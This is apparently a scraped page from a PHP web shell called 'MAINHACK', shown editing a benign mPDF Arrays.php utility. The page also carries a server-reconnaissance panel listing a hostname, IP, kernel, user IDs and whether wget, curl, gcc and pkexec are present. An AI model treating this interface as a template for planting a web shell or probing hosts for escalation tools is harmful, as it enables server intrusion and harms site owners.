[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Arrays.php
<?php namespace Mpdf\Utils; class Arrays { public static function get($array, $key, $default = null) { if (is_array($array) && array_key_exists($key, $array)) { return $array[$key]; } if (func_num_args() < 3) { throw new \InvalidArgumentException(sprintf('Array does not contain key "%s"', $key)); } return $default; } /** * Returns an array of all k-combinations from an input array of n elements, where k equals 1..n. * Elements will be sorted and unique in every combination. * * Example: array[one, two] will give: * [ * [one], * [two], * [one, two] * ] * @param array $array * @return array */ public static function allUniqueSortedCombinations($array) { $input = array_unique($array); if (count($input) <= 1) { return [$input]; } sort($input); $combinations = []; foreach ($input as $value) { $combinations[] = [$value]; } $n = count($input); for ($k = 2; $k <= $n; $k++) { $combinations = array_merge($combinations, self::combinations($input, $k)); } return $combinations; } /** * Returns an array of unique k-combinations from an input array. * * Example: array=[one, two, three] and k=2 will give: * [ * [one, two], * [one, three] * ] * @param array $array * @param int $k * @return array */ public static function combinations($array, $k) { $n = count($array); $combinations = []; $indexes = range(0, $k - 1); $maxIndexes = range($n - $k, $n - 1); do { $combination = []; foreach ($indexes as $index) { $combination[] = $array[$index]; } $combinations[] = $combination; $anotherCombination = false; $resetFromIndex = -1; for ($i = $k - 1; $i >= 0; $i--) { if ($indexes[$i] < $maxIndexes[$i]) { $indexes[$i]++; $anotherCombination = true; break; } $resetFromIndex = $i; } if ($resetFromIndex > 0) { for ($i = $resetFromIndex; $i < $k; $i++) { $indexes[$i] = $indexes[$i - 1] + 1; } } } while ($anotherCombination); return $combinations; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002